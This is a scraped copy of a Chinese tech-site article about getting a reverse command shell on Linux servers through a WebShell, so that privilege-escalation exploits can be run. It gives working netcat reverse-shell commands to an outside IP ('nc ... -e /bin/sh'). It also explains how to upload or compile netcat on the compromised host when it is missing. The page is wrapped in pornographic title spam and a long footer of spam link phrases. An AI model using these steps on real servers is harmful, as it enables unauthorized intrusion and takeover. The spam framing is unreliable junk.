成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Linux下反彈CmdLine Shell小技巧

系統(tǒng) Linux
Linux提權(quán)絕大部分都靠的是Local Exploit。WebShell一般都可以執(zhí)行命令,但是我們的EXP必須在可交互環(huán)境運行,否則如果直接在WebShell執(zhí)行,即使能提權(quán)成功,我們也沒法利用到。

玩了半天朋友給的Linux的WebShell,本來想實踐一下UDEV提權(quán)呢,***發(fā)現(xiàn)服務(wù)器貌似已經(jīng)打過補丁了。

不過還是有其他的收獲的,所以我就YY下Linux反彈shell的問題。

Linux提權(quán)絕大部分都靠的是Local Exploit。WebShell一般都可以執(zhí)行命令,但是我們的EXP必須在可交互環(huán)境運行,否則如果直接在WebShell執(zhí)行,即使能提權(quán)成功,我們也沒法利用到。所以我們需要先反彈一個CmdLine Shell回來(直接說成CmdShell怕人誤解...因為Win有個cmd.exe ^_^),然后在命令行終端下執(zhí)行EXP進行提權(quán)。

一般情況下,絕大多數(shù)人都會通過PHP WebShell的Back Connect功能彈回一個Shell,但是有時候會碰到服務(wù)器不支持PHP或者WebShell沒法反彈的情況,比如這兩天朋友給我的一個JSPShell所在服務(wù)器只支持JSP,不支持PHP。這時候,我們經(jīng)典的netcat就可以派上用場了。

平時在Windows下做事的時候,在必要的情況下我們可以先在本機運行nc -vv -lp 1234監(jiān)聽端口,然后在肉雞上nc 12.21.12.21 1234 -e cmd.exe給我們反彈一個CmdShell,這個方法在Linux仍然可行。

在本機監(jiān)聽后,在WebShell運行nc 12.21.12.21 1234 -e /bin/sh就能彈一個CmdLine Shell給我們。

但我們經(jīng)常碰到的情況并不都是這么100%順利的,像昨晚整的那兩臺,每臺都是不能直接執(zhí)行nc的。一臺有nc,但執(zhí)行從是不起作用,另外一臺直接壓根就沒有nc....

不過,這個難不倒我們,我們可以給他裝一個嘛,比較快捷的方法是,我們可以到http://netcat.sourceforge.net/download.php下載nc的源碼,先在我們自己linux機器上編譯好以后把bin文件傳上去(我開始傳的我的Debian自帶的netcat,結(jié)果仍然不能運行....)。如果還不行,那就把源碼傳上去,在目標機器上直接編譯。

昨晚那兩臺機器,一臺我是直接傳的本地編譯后的,一臺是在目標機器上編譯的。如果直接傳的nc可以運行的話還比較好說,如果需要在目標機器上編譯的話,這里有點小技巧:

因為在得到CmdLine Shell前,我們只能在WebShell里執(zhí)行命令,一般每次只能執(zhí)行一條,然后等回顯。假如我們的WebShell在/var/www/site目錄,那么我們每次執(zhí)行命令默認的當前路徑都是/var/www/site,而我們的netcat源碼包解壓在了/tmp/netcatsrc文件夾,這樣的話,我們編譯netcat的時候,configure還好說,可用/tmp/netcatsrc/configure命令,但下一步make的時候就不行了,因為當前路徑是/var/www/site,而不是我們想要的/tmp/netcatsrc/,所以我們configure完了make的時候會報錯。

解決這個問題其實也很簡單,可以直接把兩句寫成一句就可以:cd /tmp/netcatsrc;make

用分號隔開寫,把make跟在目錄切換命令后面,這樣編譯的時候就不會報錯了。(流浪貓教的..^_^)

在還沒有得到CmdLine Shell的時候,這樣的寫法還是很有用的。

【編輯推薦】

  1. 實用技巧:找回Linux Root口令三種方法
  2. Linux下處理圖像的法寶GIMP的安裝
  3. Linux中防御垃圾郵件的方法
責任編輯:趙寧寧 來源: 中國IT實驗室
相關(guān)推薦

2009-07-19 10:48:53

LinuxWebShell反彈CmdLine She

2010-11-02 21:17:17

2018-06-18 10:33:39

Linux內(nèi)網(wǎng)技巧

2019-12-04 12:28:24

TOP命令Linux

2017-09-04 16:20:38

Linuxshell命令

2020-03-18 14:20:25

shellLinux命令

2021-12-16 10:53:23

shell命令腳本

2011-02-25 14:10:52

Proftpd技巧

2013-12-02 09:49:59

2011-05-27 10:02:42

Shell

2021-06-07 23:51:16

MacGo服務(wù)

2009-07-15 09:09:45

Vim編輯器使用Vim備份

2015-03-06 15:43:39

2009-06-19 13:32:40

Java開啟OpenGL

2024-03-11 15:08:26

Linux操作系統(tǒng)進程

2009-12-03 10:07:55

Linuxman命令使用技巧

2014-07-31 11:24:21

Linuxshell命令

2019-08-14 08:03:49

LinuxShell腳本web服務(wù)

2009-10-09 14:45:00

ccna小技巧ccna

2022-02-17 13:58:38

Linux技巧文件
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 久久精品国产亚洲一区二区三区 | 亚洲黄色av网站 | 亚洲精品视频在线观看视频 | 羞羞色视频 | 免费看一区二区三区 | 免费国产一区 | 久久午夜视频 | 91精品国产777在线观看 | 成人欧美一区二区三区在线观看 | 亚洲高清在线观看 | 日韩免费一区 | www312aⅴ欧美在线看 | 国产精品18久久久久久白浆动漫 | 欧美精品久久久久 | 久久精品国产亚洲一区二区三区 | 亚洲视频区 | 欧美精品国产一区二区 | 亚洲av毛片 | 国产乱码高清区二区三区在线 | 在线免费观看黄色 | 99精品网 | 国产精品一区二区视频 | 久久av一区二区三区 | 国产美女自拍视频 | 国产综合区 | 日本一区二区不卡 | 久久一区精品 | 免费看黄视频网站 | 久久久久久国产精品免费免费狐狸 | 性一交一乱一伦视频免费观看 | 天堂一区二区三区四区 | 欧美激情视频网站 | 91亚洲国产精品 | 中文字幕在线视频免费观看 | 精品视频在线观看 | 性生生活大片免费看视频 | 国产成人av一区二区三区 | 国产日韩在线观看一区 | www.五月天婷婷 | 国产成人精品a视频 | 久久久久久免费毛片精品 |